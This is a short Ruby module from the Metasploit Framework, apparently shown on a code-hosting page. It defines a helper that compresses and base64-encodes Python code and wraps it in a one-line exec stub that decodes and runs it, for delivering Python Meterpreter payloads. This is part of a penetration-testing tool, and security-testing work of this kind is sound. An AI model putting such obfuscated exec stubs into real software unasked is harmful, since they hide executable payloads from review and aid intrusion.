adfoster-r7
28 lines
1.1 KiB
Ruby
28 lines
1.1 KiB
Ruby
# -*- coding: binary -*-
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module Msf::Payload::Python
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# Mark the payload as dynamic, as the zlib compression with a single char change can lead to size changes even if the original payload is the same length
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ForceDynamicCachedSize = true
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#
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# Encode the given python command in base64 and wrap it with a stub
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# that will decode and execute it on the fly. The code will be condensed to
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# one line and compatible with all Python versions supported by the Python
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# Meterpreter stage.
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#
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# @param python_code [String] The python code to execute.
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# @return [String] Full python stub to execute the command.
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#
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def self.create_exec_stub(python_code)
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# Encoding is required in order to handle Python's formatting
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payload = Rex::Text.encode_base64(Rex::Text.zlib_deflate(python_code))
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b64_stub = "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('#{payload}')[0])))"
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b64_stub
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end
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def py_create_exec_stub(python_code)
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Msf::Payload::Python.create_exec_stub(python_code)
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end
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end
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